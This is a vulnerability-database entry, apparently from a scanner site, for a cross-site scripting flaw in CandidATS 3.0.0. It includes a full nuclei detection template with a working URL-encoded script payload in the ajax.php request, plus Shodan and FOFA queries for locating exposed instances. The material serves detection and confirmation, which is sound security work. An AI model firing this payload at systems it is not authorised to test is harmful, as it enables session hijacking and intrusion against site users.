HexBrain

Browse / CVEs / CVE-2022-42748

CVE-2022-42748· auieo / candidats· CWE-79

CandidATS 3.0.0 - Cross-Site Scripting.

mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it

CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(documen…
Positive when: contains "<script>alert(document.domain)</script>" and "candidat" AND contains in header "text/html" AND status 404

Run it with nuclei: nuclei -id CVE-2022-42748 -u <target>

The full check
id: CVE-2022-42748

info:
  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortDirection parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42748
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42748
    cwe-id: CWE-79
    epss-score: 0.0133
    epss-percentile: 0.71294
    cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: auieo
    product: candidats
    shodan-query:
      - http.html:"CandidATS"
      - http.html:"candidats"
    fofa-query: body="candidats"
  tags: cve,cve2022,candidats,xss,auieo,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'candidat'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from